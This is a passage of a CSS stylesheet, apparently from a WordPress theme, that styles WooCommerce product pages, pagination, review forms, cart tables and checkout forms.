	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei);
	background: #F5F5F5;
	border-radius: 0;
	font-size: 12px;
	color: #313131;
	-o-transition: .3s;
	-moz-transition: .3s;
	-webkit-transition: .3s;
	transition: .3s;
	cursor: pointer;
	text-align: center;
	margin: 0;
	padding: 10px 15px 9px;
	border: none;
	outline: none;
	min-width: 90px;
}
.woocommerce a.added_to_cart {
	display: none !important;
}
.woocommerce #respond input#submit.loading:after,
.woocommerce a.button.loading:after,
.woocommerce button.button.loading:after,
.woocommerce input.button.loading:after {
	top: auto;
	right: auto;
	margin-left: 5px;
}
.woocommerce #respond input#submit:hover,
.woocommerce a.button:hover,
.woocommerce button.button:hover,
.woocommerce input.button:hover {
	background: var(--pcaccent-cl);
	color: #fff;
}
.woocommerce-pagination {
	margin-bottom: 60px;
	overflow: hidden;
	clear: both;
	text-align: center;
}
.woocommerce nav.woocommerce-pagination ul {
	list-style: none;
	display: inline-block;
	vertical-align: top;
	border: none;
	white-space: normal;
	margin: 0;
}
.woocommerce nav.woocommerce-pagination ul li,
.woocommerce .woocommerce-pagination ul.page-numbers li,
.woocommerce-page .woocommerce-pagination ul.page-numbers li {
	display: inline-block;
	float: left;
	margin-right: 10px;
	border: none;
}
.woocommerce nav.woocommerce-pagination ul > li:last-child,
.woocommerce .woocommerce-pagination ul.page-numbers li:last-child,
.woocommerce-page .woocommerce-pagination ul.page-numbers li:last-child {
	margin-right: 0;
}
.woocommerce nav.woocommerce-pagination ul li a,
.woocommerce nav.woocommerce-pagination ul li span {
	padding: 0;
	width: 30px;
	height: 30px;
	text-align: center;
	line-height: 28px;
	font-size: 14px;
	display: inline-block;
	border: 1px solid var(--pcborder-cl);
	color: #888;
	margin: 0;
	text-decoration: none;
	transition: all 0.3s;
	-webkit-transition: all 0.3s;
	-moz-transition: all 0.3s;
}
.woocommerce nav.woocommerce-pagination ul li a:focus,
.woocommerce nav.woocommerce-pagination ul li a:hover {
	text-decoration: none;
	color: #313131;
	border-color: #999999;
	background: none;
}
.woocommerce nav.woocommerce-pagination ul li span.current {
	color: #fff;
	background: var(--pcaccent-cl);
	border-color: var(--pcaccent-cl);
	text-decoration: none;
}
.woocommerce #content div.product div.images,
.woocommerce div.product div.images,
.woocommerce-page #content div.product div.images,
.woocommerce-page div.product div.images,
.woocommerce #content div.product div.summary,
.woocommerce div.product div.summary,
.woocommerce-page #content div.product div.summary,
.woocommerce-page div.product div.summary {
	width: 48.7197%;
}
.woocommerce div.product div.images, .woocommerce div.product div.summary {
	margin-bottom: 40px;
}
.woocommerce .penci_sidebar #content div.product div.images,
.woocommerce .penci_sidebar div.product div.images,
.woocommerce-page .penci_sidebar #content div.product div.images,
.woocommerce-page .penci_sidebar div.product div.images,
.woocommerce .penci_sidebar #content div.product div.summary,
.woocommerce .penci_sidebar div.product div.summary,
.woocommerce-page .penci_sidebar #content div.product div.summary,
.woocommerce-page .penci_sidebar div.product div.summary {
	width: 48.078%;
}
.woocommerce div.product div.images div.thumbnails,
.woocommerce div.product div.images .flex-control-thumbs {
	padding-top: 30px;
}
.woocommerce #content div.product div.thumbnails a,
.woocommerce div.product div.thumbnails a,
.woocommerce-page #content div.product div.thumbnails a,
.woocommerce-page div.product div.thumbnails a,
.woocommerce #content div.product div.thumbnails a.last,
.woocommerce div.product div.thumbnails a.last,
.woocommerce-page #content div.product div.thumbnails a.last,
.woocommerce-page div.product div.thumbnails a.last,
.woocommerce div.product div.images .flex-control-thumbs li {
	width: 21.0625%;
	margin-right: 5.25%;
	margin-bottom: 5.25%;
}
.woocommerce-product-gallery__wrapper .woocommerce-product-gallery__image {
	width: 21.0625%;
}
.woocommerce #content div.product div.thumbnails a.first,
.woocommerce div.product div.thumbnails a.first,
.woocommerce-page #content div.product div.thumbnails a.first,
.woocommerce-page div.product div.thumbnails a.first {
	clear: none;
}
.woocommerce #content div.product div.thumbnails a:nth-child(4n+4),
.woocommerce div.product div.thumbnails a:nth-child(4n+4),
.woocommerce-page #content div.product div.thumbnails a:nth-child(4n+4),
.woocommerce-page div.product div.thumbnails a:nth-child(4n+4),
.woocommerce div.product div.images .flex-control-thumbs li:nth-child(4n+4),
.woocommerce div.product div.images .woocommerce-product-gallery__wrapper .woocommerce-product-gallery__image:nth-child(4n+5) {
	margin-right: 0;
}
.woocommerce #content div.product div.thumbnails a:nth-child(4n+1),
.woocommerce div.product div.thumbnails a:nth-child(4n+1),
.woocommerce-page #content div.product div.thumbnails a:nth-child(4n+1),
.woocommerce-page div.product div.thumbnails a:nth-child(4n+1),
.woocommerce div.product div.images .flex-control-thumbs li:nth-child(4n+1) {
	clear: both;
}
.woocommerce div.product div.images .woocommerce-product-gallery__wrapper .woocommerce-product-gallery__image:first-child {
	width: 100%;
	margin-right: 0;
	margin-bottom: 30px;
}
.woocommerce div.product div.images .woocommerce-product-gallery__trigger:before {
	width: 7px;
	height: 7px;
	top: 11px;
	left: 11px;
}
.woocommerce div.product div.images .woocommerce-product-gallery__trigger:after {
	top: 18px;
	left: 22px;
}
.woocommerce div.product .product_title {
	font-size: 30px;
	color: var(--pcheading-cl);
	line-height: 1.2;
	margin-top: -4px;
	margin-bottom: 6px;
}
a.woocommerce-review-link {
	font-size: 14px;
	color: #888;
}
.woocommerce div.product .woocommerce-product-rating {
	margin-bottom: 8px;
}
.woocommerce div.product p.price {
	margin-bottom: 12px;
}
.woocommerce div.product p.price ins,
.woocommerce div.product span.price ins,
.woocommerce div.product p.price,
.woocommerce div.product span.price {
	text-decoration: none;
	color: var(--pcaccent-cl);
}
.woocommerce div.product p.price del,
.woocommerce div.product span.price del {
	display: inline-block;
	margin-right: 10px;
}
.woocommerce div.product .entry-summary div[itemprop="description"] {
	position: relative;
	padding-top: 12px;
	margin-bottom: 24px;
}
.woocommerce div.product .entry-summary div[itemprop="description"]:before {
	content: "";
	width: 45px;
	height: 1px;
	position: absolute;
	top: 0;
	left: 0;
	background: var(--pcaccent-cl);
}
.woocommerce div.product .woocommerce-tabs #tab-description #tab-description {
	display: block !important;
}
.woocommerce div.product div[itemprop="description"] .entry-summary p:last-child,
.woocommerce div.product .woocommerce-tabs #tab-description > p:last-child {
	margin-bottom: 0;
}
.woocommerce div.product div[itemprop="description"] .entry-summary img,
.woocommerce div.product .woocommerce-tabs #tab-description img {
	max-width: 100%;
	height: auto;
}
.woocommerce div.product div[itemprop="description"] a:hover,
.woocommerce div.product .woocommerce-tabs #tab-description a:hover {
	text-decoration: underline;
}
.woocommerce div.product .entry-summary div[itemprop="description"] h1,
.woocommerce div.product .entry-summary div[itemprop="description"] h2,
.woocommerce div.product .entry-summary div[itemprop="description"] h3,
.woocommerce div.product .entry-summary div[itemprop="description"] h4,
.woocommerce div.product .entry-summary div[itemprop="description"] h5,
.woocommerce div.product .entry-summary div[itemprop="description"] h6,
.woocommerce div.product .entry-summary div[itemprop="description"] hr,
.woocommerce div.product .woocommerce-tabs #tab-description h1,
.woocommerce div.product .woocommerce-tabs #tab-description h2,
.woocommerce div.product .woocommerce-tabs #tab-description h3,
.woocommerce div.product .woocommerce-tabs #tab-description h4,
.woocommerce div.product .woocommerce-tabs #tab-description h5,
.woocommerce div.product .woocommerce-tabs #tab-description h6,
.woocommerce div.product .woocommerce-tabs #tab-description hr,
.woocommerce-product-details__short-description h1,
.woocommerce-product-details__short-description h2,
.woocommerce-product-details__short-description h3,
.woocommerce-product-details__short-description h4,
.woocommerce-product-details__short-description h5,
.woocommerce-product-details__short-description h6,
.woocommerce-product-details__short-description hr {
	margin-bottom: 17px;
}
.woocommerce div.product div[itemprop="description"] p,
.woocommerce div.product .woocommerce-tabs #tab-description p,
.woocommerce-product-details__short-description p {
	margin-bottom: 17px;
}
.woocommerce div.product .entry-summary div[itemprop="description"] h1,
.woocommerce div.product .entry-summary div[itemprop="description"] h2,
.woocommerce div.product .entry-summary div[itemprop="description"] h3,
.woocommerce div.product .entry-summary div[itemprop="description"] h4,
.woocommerce div.product .entry-summary div[itemprop="description"] h5,
.woocommerce div.product .entry-summary div[itemprop="description"] h6,
.woocommerce div.product .woocommerce-tabs #tab-description h1,
.woocommerce div.product .woocommerce-tabs #tab-description h2,
.woocommerce div.product .woocommerce-tabs #tab-description h3,
.woocommerce div.product .woocommerce-tabs #tab-description h4,
.woocommerce div.product .woocommerce-tabs #tab-description h5,
.woocommerce div.product .woocommerce-tabs #tab-description h6,
.woocommerce-product-details__short-description h1,
.woocommerce-product-details__short-description h2,
.woocommerce-product-details__short-description h3,
.woocommerce-product-details__short-description h4,
.woocommerce-product-details__short-description h5,
.woocommerce-product-details__short-description h6 {
	color: #313131;
	clear: both;
	letter-spacing: 0;
	line-height: 1.3em;
}
.woocommerce div.product .entry-summary div[itemprop="description"] h1,
.woocommerce div.product .woocommerce-tabs #tab-description h1,
.woocommerce-product-details__short-description h1 {
	font-size: 20px;
}
.woocommerce div.product .entry-summary div[itemprop="description"] h2,
.woocommerce div.product .woocommerce-tabs #tab-description h2,
.woocommerce-product-details__short-description h2 {
	font-size: 18px;
}
.woocommerce div.product .entry-summary div[itemprop="description"] h3,
.woocommerce div.product .woocommerce-tabs #tab-description h3,
.woocommerce-product-details__short-description h3 {
	font-size: 17px;
}
.woocommerce div.product .entry-summary div[itemprop="description"] h4,
.woocommerce div.product .woocommerce-tabs #tab-description h4,
.woocommerce-product-details__short-description h4 {
	font-size: 16px;
}
.woocommerce div.product .entry-summary div[itemprop="description"] h5,
.woocommerce div.product .woocommerce-tabs #tab-description h5,
.woocommerce-product-details__short-description h5 {
	font-size: 15px;
}
.woocommerce div.product .entry-summary div[itemprop="description"] h6,
.woocommerce div.product .woocommerce-tabs #tab-description h6,
.woocommerce-product-details__short-description h6 {
	font-size: 14px;
}
.woocommerce div.product .entry-summary div[itemprop="description"] hr,
.woocommerce div.product .woocommerce-tabs #tab-description hr,
.woocommerce-product-details__short-description hr {
	border: 0;
	height: 0;
	border-bottom: 1px solid #dedede;
	clear: both;
}
.woocommerce div.product .entry-summary div[itemprop="description"] blockquote,
.woocommerce div.product .woocommerce-tabs #tab-description blockquote,
.woocommerce-product-details__short-description blockquote {
	padding: 0;
	position: relative;
	margin: 0 0 20px 0;
}
.woocommerce div.product .entry-summary div[itemprop="description"] blockquote,
.woocommerce div.product .woocommerce-tabs #tab-description blockquote,
.woocommerce div.product .entry-summary div[itemprop="description"] blockquote p,
.woocommerce div.product .woocommerce-tabs #tab-description blockquote p,
.woocommerce-product-details__short-description blockquote,
.woocommerce-product-details__short-description blockquote p {
	font-size: 16px;
	color: #888;
	font-style: italic;
	line-height: 1.7;
	text-align: left;
}
.woocommerce div.product .entry-summary div[itemprop="description"] blockquote p,
.woocommerce div.product .woocommerce-tabs #tab-description blockquote p,
.woocommerce-product-details__short-description blockquote p {
	margin: 0;
}
.woocommerce div.product .entry-summary div[itemprop="description"] blockquote,
.woocommerce div.product .woocommerce-tabs #tab-description blockquote,
.woocommerce-product-details__short-description blockquote {
	position: relative;
	padding: 0 0 0 40px;
	border: none !important;
	overflow: hidden;
}
.woocommerce div.product .entry-summary div[itemprop="description"] blockquote:before,
.woocommerce div.product .woocommerce-tabs #tab-description blockquote:before,
.woocommerce-product-details__short-description blockquote:before {
	color: var(--pcaccent-cl);
	content: '\f101';
	font-family: 'penciicon';
	font-size: 22px;
	font-weight: normal;
	line-height: 1;
	font-style: normal;
	position: absolute;
	top: 6px;
	left: 0;
}
.woocommerce div.product .entry-summary div[itemprop="description"] blockquote cite,
.woocommerce div.product .entry-summary div[itemprop="description"] blockquote .author,
.woocommerce div.product .woocommerce-tabs #tab-description blockquote cite,
.woocommerce div.product .woocommerce-tabs #tab-description blockquote .author,
.woocommerce-product-details__short-description blockquote cite,
.woocommerce-product-details__short-description blockquote .author {
	display: block;
	font-size: 12px;
	text-transform: uppercase;
	margin-top: 7px;
	color: var(--pcaccent-cl);
	font-style: normal;
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei);
	overflow: hidden;
	text-align: left;
	position: relative;
	z-index: 1;
}
.woocommerce div.product .entry-summary div[itemprop="description"] blockquote .author span,
.woocommerce div.product .woocommerce-tabs #tab-description blockquote .author span,
.woocommerce-product-details__short-description blockquote .author span {
	position: relative;
	display: inline-block;
	padding: 0 10px 0 0;
}
.woocommerce div.product .entry-summary div[itemprop="description"] blockquote .author span:after,
.woocommerce div.product .woocommerce-tabs #tab-description blockquote .author span:after,
.woocommerce-product-details__short-description blockquote .author span:after {
	content: "";
	position: absolute;
	top: 50%;
	width: 90px;
	height: 1px;
	background: var(--pcaccent-cl);
	left: 100%;
	opacity: 0.8;
}
.woocommerce div.product .entry-summary div[itemprop="description"] ul,
.woocommerce div.product .entry-summary div[itemprop="description"] ol,
.woocommerce div.product .woocommerce-tabs #tab-description ul,
.woocommerce div.product .woocommerce-tabs #tab-description ol,
.woocommerce-product-details__short-description ul,
.woocommerce-product-details__short-description ol {
	padding-left: 36px;
	margin-bottom: 20px;
}
.woocommerce div.product .entry-summary div[itemprop="description"] ul ul,
.woocommerce div.product .woocommerce-tabs #tab-description ul ul,
.woocommerce-product-details__short-description ul ul {
	margin: 2px 0;
	padding-left: 22px;
}
.woocommerce div.product .entry-summary div[itemprop="description"] ol ol,
.woocommerce div.product .woocommerce-tabs #tab-description ol ol,
.woocommerce-product-details__short-description ol ol {
	margin: 2px 0;
	padding-left: 32px;
}
.woocommerce div.product .entry-summary div[itemprop="description"] ul li,
.woocommerce div.product .woocommerce-tabs #tab-description ul li,
.woocommerce-product-details__short-description ul li {
	margin-bottom: 7px;
	position: relative;
	list-style-type: square;
	line-height: 1.7;
}
.woocommerce div.product .entry-summary div[itemprop="description"] ol li,
.woocommerce div.product .woocommerce-tabs #tab-description ol li,
.woocommerce-product-details__short-description ol li {
	margin-bottom: 2px;
	list-style: decimal;
}
.woocommerce div.product .entry-summary div[itemprop="description"] table,
.woocommerce div.product .woocommerce-tabs #tab-description table,
.woocommerce-product-details__short-description table {
	width: 100%;
	margin-bottom: 22px;
	border-collapse: collapse;
	border-left: 1px solid #f5f5f5;
	border-right: 1px solid #f5f5f5;
}
.woocommerce div.product .entry-summary div[itemprop="description"] td,
.woocommerce div.product .entry-summary div[itemprop="description"] th,
.woocommerce div.product .woocommerce-tabs #tab-description td,
.woocommerce div.product .woocommerce-tabs #tab-description th,
.woocommerce-product-details__short-description td, th {
	padding: 12px;
	border-bottom: 1px #e9e9e9 solid;
}
.woocommerce div.product .entry-summary div[itemprop="description"] th,
.woocommerce div.product .woocommerce-tabs #tab-description th,
.woocommerce-product-details__short-description th {
	font-weight: bold;
	font-size: 14px;
	background: #f5f5f5;
}
.woocommerce div.product .entry-summary div[itemprop="description"] tr:hover,
.woocommerce div.product .woocommerce-tabs #tab-description tr:hover,
.woocommerce-product-details__short-description tr:hover {
	background: var(--pcbg-cl);
}
.woocommerce #respond input#submit.alt,
.woocommerce a.button.alt,
.woocommerce button.button.alt,
.woocommerce input.button.alt {
	font-size: 13px;
	min-width: 150px;
	padding: 0 15px;
	-moz-transition: all 0.3s;
	-webkit-transition: all 0.3s;
	transition: all 0.3s;
	color: #fff;
	border: none;
	outline: none;
	background: #313131;
}
.woocommerce #respond input#submit.alt:hover,
.woocommerce a.button.alt:hover,
.woocommerce button.button.alt:hover,
.woocommerce input.button.alt:hover {
	background: var(--pcaccent-cl);
	color: #fff;
}
.woocommerce div.product form.cart, .woocommerce div.product p.cart {
	margin-bottom: 30px;
}
.woocommerce div.product p.out-of-stock {
	font-size: 18px;
}
.woocommerce div.product form.cart div.quantity {
	margin-right: 20px;
}
.woocommerce .quantity .qty {
	padding: 3px 5px;
	width: 60px;
	line-height: 32px;
	outline: none;
	border: 1px solid var(--pcborder-cl);
	font-size: 18px;
	font-weight: var(--pchead-wei);
	font-family: var(--pchead-font);
}
.woocommerce div.product .product_meta {
	padding-top: 25px;
	border-top: 1px solid #DEDEDE;
}
.woocommerce div.product .product_meta > span {
	font-size: 14px;
	display: block;
	margin-bottom: 10px;
	color: #888;
}
.woocommerce div.product .product_meta > span a {
	color: #888;
}
.woocommerce div.product .product_meta > span a:hover {
	color: var(--pcaccent-cl);
}
.woocommerce div.product .woocommerce-tabs ul.tabs {
	padding: 0 0 12px 0;
	margin: 0 0 24px 0;
	text-align: center;
	border-bottom: 1px solid #DEDEDE;
}
.woocommerce div.product .woocommerce-tabs ul.tabs:before,
.woocommerce div.product .woocommerce-tabs ul.tabs li:after,
.woocommerce div.product .woocommerce-tabs ul.tabs li:before {
	content: none;
	display: none;
}
.woocommerce div.product .woocommerce-tabs ul.tabs li {
	background: none;
	border: none;
	border-radius: 0;
	-webkit-border-radius: 0;
	-moz-border-radius: 0;
	margin: 0;
	padding: 0 20px;
}
.woocommerce div.product .woocommerce-tabs ul.tabs li a {
	padding: 5px 0;
	font-family: var(--pchead-font);
	font-size: 14px;
	color: #313131;
	text-transform: uppercase;
	font-weight: var(--pchead-wei);
}
.woocommerce div.product .woocommerce-tabs ul.tabs li a:hover {
	color: #888888;
}
.woocommerce div.product .woocommerce-tabs ul.tabs li.active {
	background: none;
	border: none;
	color: var(--pcaccent-cl);
}
.woocommerce div.product .woocommerce-tabs .panel {
	margin-bottom: 50px;
}
.woocommerce div.product .woocommerce-tabs .panel > h2:first-child,
.woocommerce div.product .woocommerce-tabs .panel #reviews #comments h2,
.woocommerce div.product .woocommerce-tabs .panel #respond h3.comment-reply-title,
.woocommerce div.product .woocommerce-tabs .panel #respond .comment-reply-title {
	font-size: 18px;
	color: #313131;
	clear: both;
	letter-spacing: 0;
	line-height: 1.3em;
	margin-bottom: 17px;
	text-transform: uppercase;
	font-weight: var(--pchead-wei);
	text-align: left;
	display: block;
}
.woocommerce div.product .woocommerce-tabs .panel #respond .comment-reply-title {
	margin-top: 24px;
	font-family: var(--pchead-font);
}
.woocommerce #review_form #respond p,
.woocommerce #review_form #respond .comment-form-rating {
	margin-left: 0;
	margin-right: 0;
}
.woocommerce #review_form #respond p.comment-notes {
	opacity: .5;
	color: var(--pctext-cl);
}
.woocommerce #review_form #respond p.comment-form-author {
	margin-right: 20px;
}
.woocommerce div.product .related > h2,
.woocommerce div.product .upsells > h2 {
	font-family: var(--pchead-font);
	font-size: 18px;
	font-weight: var(--pchead-wei);
	position: relative;
	z-index: 10;
	display: block;
	margin-bottom: 30px;
	padding: 0 0 15px;
	text-transform: uppercase;
	color: #313131;
	border-bottom: 1px solid #dedede;
}
.woocommerce div.product form.cart .variations td.label {
	padding-bottom: 15px;
}
.woocommerce div.product form.cart .variations select {
	margin-bottom: 15px;
}
.woocommerce div.product p.stock {
	font-size: 100%;
	margin-bottom: 20px;
}
.woocommerce div.product .woocommerce-tabs .panel #respond p.comment-form-author,
.woocommerce div.product .woocommerce-tabs .panel #respond p.comment-form-email,
.woocommerce div.product .woocommerce-tabs .panel #respond p.comment-form-url {
	width: 100%;
	max-width: 374px;
	padding: 0;
	float: none;
}
.woocommerce #review_form #respond textarea,
.woocommerce div.product .woocommerce-tabs .panel #respond p.comment-form-author input,
.woocommerce div.product .woocommerce-tabs .panel #respond p.comment-form-email input,
.woocommerce div.product .woocommerce-tabs .panel #respond p.comment-form-url input {
	margin: 0;
}
.woocommerce #review_form #respond p.form-submit {
	margin-bottom: 0;
	margin-top: 20px;
	text-align: left;
}
.woocommerce #review_form #respond p.form-submit input[type="submit"] {
	padding: 15px 15px;
	font-size: 14px;
}
.woocommerce .comment-form p.stars a {
	color: #FFCA00;
}
.woocommerce .comment-form p.stars a:hover {
	color: #FFCA00;
}
.woocommerce #reviews #comments ol.commentlist li img.avatar {
	width: 60px;
	border: none;
	border-radius: 50%;
	-webkit-border-radius: 50%;
	-moz-border-radius: 50%;
	padding: 0;
	background: none;
}
.woocommerce #reviews #comments ol.commentlist li .comment-text {
	margin-left: 80px;
	border: 1px solid var(--pcborder-cl);
	padding: 12px 20px;
	border-radius: 0;
	-webkit-border-radius: 0;
	-moz-border-radius: 0;
}
.woocommerce #reviews #comments ol.commentlist li .comment-text .meta {
	margin-bottom: 9px;
	color: #888888;
	font-size: 14px;
}
.woocommerce #reviews #comments ol.commentlist li .comment-text p.meta {
	font-size: 13px;
}
.woocommerce #reviews #comments ol.commentlist li .comment-text .meta strong {
	font-size: 14px;
	color: #313131;
	text-transform: uppercase;
	font-family: var(--pchead-font);
}
.woocommerce #reviews #comments ol.commentlist li .comment-text div[itemprop="description"] > p:last-child {
	margin: 0;
}
.woocommerce .woocommerce-error,
.woocommerce .woocommerce-info,
.woocommerce .woocommerce-message {
	background: var(--pcbg-cl);
	border: 1px solid var(--pcborder-cl);
	border-top: 3px solid var(--pcaccent-cl);
	margin-bottom: 30px !important;
	padding-left: 56px;
}
.woocommerce .woocommerce-error:before, .woocommerce .woocommerce-info:before, .woocommerce .woocommerce-message:before {
	top: 1em;
	margin-top: 3px;
}
.woocommerce ul.cart_list li, .woocommerce ul.product_list_widget li {
	padding: 0 0 15px 0;
	margin: 0 0 15px;
	border-bottom: 1px solid #DEDEDE;
}
.woocommerce .widget_shopping_cart .cart_list li,
.woocommerce.widget_shopping_cart .cart_list li {
	padding-left: 0;
}
.woocommerce ul.cart_list li:last-child, .woocommerce ul.product_list_widget li:last-child {
	padding-bottom: 0;
	margin-bottom: 0;
	border: none;
}
.woocommerce .widget_shopping_cart .total, .woocommerce.widget_shopping_cart .total {
	margin-top: 20px;
	padding-top: 15px;
	font-size: 16px;
}
.woocommerce .widget_shopping_cart p.buttons,
.woocommerce.widget_shopping_cart p.buttons {
	margin-top: 15px;
}
.woocommerce .widget_shopping_cart p.buttons a,
.woocommerce.widget_shopping_cart p.buttons a,
.woocommerce .widget_price_filter .price_slider_amount .button {
	color: #fff;
	background: #313131;
	transition: all 0.3s;
	-webkit-transition: all 0.3s;
	-moz-transition: all 0.3s;
	font-size: 12px;
}
.woocommerce .widget_shopping_cart p.buttons a.checkout,
.woocommerce.widget_shopping_cart p.buttons a.checkout {
	margin-left: 16px;
}
.woocommerce .widget_shopping_cart p.buttons a:hover,
.woocommerce.widget_shopping_cart p.buttons a:hover,
.woocommerce .widget_price_filter .price_slider_amount .button:hover,
.woocommerce div.product form.cart .button:hover {
	opacity: 0.8;
	background: #313131;
	color: #fff;
	text-decoration: none;
}
.woocommerce ul.cart_list li a,
.woocommerce ul.product_list_widget li a {
	font-size: 16px;
	font-weight: var(--pchead-wei);
	margin-bottom: 10px;
	text-decoration: none;
	font-family: var(--pchead-font);
}
.woocommerce ul.cart_list li img,
.woocommerce ul.product_list_widget li img {
	width: 90px;
	margin: 0 20px 0 0;
	float: left;
}
.woocommerce ul.cart_list li .amount,
.woocommerce ul.product_list_widget li .amount {
	font-size: 18px;
	color: var(--pcaccent-cl);
	text-decoration: none;
}
.woocommerce ul.cart_list li del .amount,
.woocommerce ul.product_list_widget li del .amount {
	font-size: 16px;
	color: #ccc;
	margin-right: 5px;
}
.woocommerce ul.product_list_widget li ins,
.woocommerce ul.product_list_widget li ins {
	text-decoration: none;
}
.woocommerce ul.cart_list li .star-rating,
.woocommerce ul.product_list_widget li .star-rating {
	margin-bottom: 10px;
}
.woocommerce .widget_shopping_cart
.cart_list li a.remove,
.woocommerce.widget_shopping_cart
.cart_list li a.remove {
	font-size: 24px;
	line-height: 20px;
	width: 24px;
	height: 24px;
	margin-top: 5px;
	margin-left: 5px;
	text-align: center;
	border: 1px solid #ccc;
}
.woocommerce .widget_price_filter .ui-slider-horizontal {
	height: 6px;
	margin-bottom: 20px;
}
.woocommerce .widget_price_filter .ui-slider .ui-slider-range {
	background-color: #DEDEDE;
}
.woocommerce .widget_price_filter .ui-slider .ui-slider-handle {
	background-color: #313131;
	width: 18px;
	height: 18px;
	top: -6px;
}
.woocommerce .widget_price_filter .price_slider_wrapper .ui-widget-content {
	background-color: #888;
}
.woocommerce .widget_price_filter .price_label {
	color: #888;
	font-size: 14px;
}
.woocommerce .woocommerce-product-search .screen-reader-text {
	display: none;
}
.woocommerce .woocommerce-product-search input[type="submit"] {
	display: none;
}
.woocommerce .woocommerce-product-search input[type="search"] {
	border: 1px solid var(--pcborder-cl);
	padding: 14px 20px 14px 20px;
}
.woocommerce table.shop_table {
	border: none;
	border-collapse: collapse;
	margin: 0 0 27px 0;
}
.woocommerce table.shop_table th {
	padding: 0 0 15px 0;
	font-weight: var(--pchead-wei);
	text-transform: uppercase;
	color: #313131;
	background: none;
	font-size: 14px;
	font-family: var(--pchead-font);
}
.woocommerce table.shop_table td {
	padding: 30px 0;
	border-color: var(--pcborder-cl);
	border-bottom: none;
}
.woocommerce-cart table.cart img {
	width: 90px;
}
.woocommerce table.shop_table a.remove {
	width: 30px;
	height: 30px;
	border: 1px solid var(--pcborder-cl);
	color: #dedede !important;
	border-radius: 50%;
	-webkit-border-radius: 50%;
	-moz-border-radius: 50%;
	background: none !important;
	line-height: 26px;
	font-size: 26px;
	text-decoration: none;
}
.woocommerce table.shop_table a.remove:hover {
	color: #ff0000 !important;
}
.woocommerce table.shop_table td.product-name a {
	font-size: 16px;
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei);
	color: #313131;
	text-decoration: none;
}
.woocommerce table.shop_table td.product-name a:hover {
	color: var(--pcaccent-cl);
}
.woocommerce table.shop_table td.product-price span,
.woocommerce table.shop_table td.product-subtotal span {
	font-size: 18px;
	color: var(--pcaccent-cl);
}
.woocommerce table.shop_table .quantity .qty {
	line-height: 28px;
}
.woocommerce-cart table.cart td.actions .coupon .input-text {
	border: 1px solid #e9e9e9;
	padding: 12px 20px 11px;
	font-family: var(--pcbody-font);
	font-size: 12px;
	color: #313131;
	min-width: 150px;
	margin-right: 20px;
}
.woocommerce-cart table.cart input[type="submit"] {
	padding: 13px 20px 13px;
	font-size: 13px;
	background: #313131;
	color: #fff;
	transition: all 0.3s;
	-webkit-transition: all 0.3s;
	-moz-transition: all 0.3s;
}
.woocommerce-cart .woocommerce input.button[name="update_cart"] {
	color: #ffffff;
	background: #313131;
	opacity: 1;
	padding: 13px 20px 13px;
}
.woocommerce-cart .woocommerce input.button[name="update_cart"]:hover,
.woocommerce-cart table.cart input[type="submit"]:hover {
	background: #313131;
	color: #fff;
	opacity: 0.8;
}
.woocommerce .woocommerce-cart-form .cart .button[name="apply_coupon"],
.woocommerce .woocommerce-cart-form .cart button.button:disabled,
.woocommerce .woocommerce-cart-form .cart button.button:disabled[disabled] {
	padding: 13px 20px;
	line-height: 14px;
}
.woocommerce .cart-collaterals .cart_totals,
.woocommerce-page .cart-collaterals .cart_totals {
	width: 100%;
}
.woocommerce .cart-collaterals .cart_totals h2,
.woocommerce-page .cart-collaterals .cart_totals h2 {
	font-size: 16px;
	text-transform: uppercase;
}
.woocommerce-cart .cart-collaterals .cart_totals table {
	border-collapse: collapse;
	border: 1px solid var(--pcborder-cl);
	padding: 0 30px;
}
.woocommerce-cart .cart-collaterals .cart_totals table td,
.woocommerce-cart .cart-collaterals .cart_totals table th {
	background: none;
	padding: 15px 0;
}
.woocommerce-cart .cart-collaterals .cart_totals table td .amount {
	font-size: 18px;
	color: var(--pcaccent-cl);
}
.woocommerce-cart .cart-collaterals .cart_totals .form-row {
	padding: 0;
	margin-bottom: 15px;
}
.woocommerce-shipping-calculator p {
	margin-bottom: 10px;
}
.woocommerce-cart .cart-collaterals .cart_totals table .shipping-calculator-form select {
	padding: 5px;
	max-width: 400px;
	width: 100%;
}
.woocommerce-cart .cart-collaterals .cart_totals table .shipping-calculator-form input[type="text"],
.woocommerce-cart .cart-collaterals .cart_totals table .shipping-calculator-form input[type="date"],
.woocommerce-cart .cart-collaterals .cart_totals table .shipping-calculator-form input[type="number"],
.woocommerce-cart .cart-collaterals .cart_totals table .shipping-calculator-form input[type="search"] {
	max-width: 400px;
	padding: 8px;
}
.woocommerce .woocommerce-info:before {
	color: var(--pcaccent-cl);
	top: 1em;
}
.woocommerce-cart .cart-collaterals .cart_totals table .shipping-calculator-form button[type="submit"] {
	padding: 14px 20px;
	color: #fff;
	background: #313131;
	transition: all 0.3s;
	-webkit-transition: all 0.3s;
	-moz-transition: all 0.3s;
}
.woocommerce-cart .cart-collaterals .cart_totals table .shipping-calculator-form button[type="submit"]:hover {
	background: #313131;
	color: #fff;
	opacity: 0.8;
}
.woocommerce-cart .wc-proceed-to-checkout a {
	display: inline-block !important;
	padding-left: 20px !important;
	padding-right: 20px !important;
	background: #313131 !important;
	color: #fff !important;
	transition: all 0.3s;
	-webkit-transition: all 0.3s;
	-moz-transition: all 0.3s;
}
.woocommerce-cart .wc-proceed-to-checkout a:hover {
	opacity: 0.8;
}
.woocommerce form.checkout_coupon,
.woocommerce form.login,
.woocommerce form.register {
	border-radius: 0;
	border: 1px solid var(--pcborder-cl);
}
.woocommerce form .form-row .input-text,
.woocommerce-page form .form-row .input-text {
	line-height: 38px;
	padding: 0 20px;
	color: #313131;
	border: 1px solid var(--pcborder-cl);
}
p.lost_password {
	margin-bottom: 0 !important;
}
.woocommerce form.login .form-row {
	margin-bottom: 20px;
}
.woocommerce form .form-row input[type="submit"],
.woocommerce .return-to-shop .button {
	background: #313131;
	color: #fff;
	padding: 15px 20px;
}
.woocommerce form .form-row input[type="submit"]:hover,
.woocommerce .return-to-shop .button:hover {
	opacity: 0.8;
	background: #313131;
	color: #fff;
}
.woocommerce form.login .form-row input[type="submit"] {
	margin-right: 20px;
}
.woocommerce form.checkout .form-row {
	margin-bottom: 20px;
	padding: 0;
}
.woocommerce form .form-row {
	padding-left: 0;
	padding-right: 0;
}
.woocommerce form.checkout h3 {
	font-size: 16px;
	text-transform: uppercase;
}
.woocommerce form.checkout h3#order_review_heading {
	margin-top: 28px;
}
.woocommerce form.checkout table.shop_table {
	border: 1px solid var(--pcborder-cl);
}
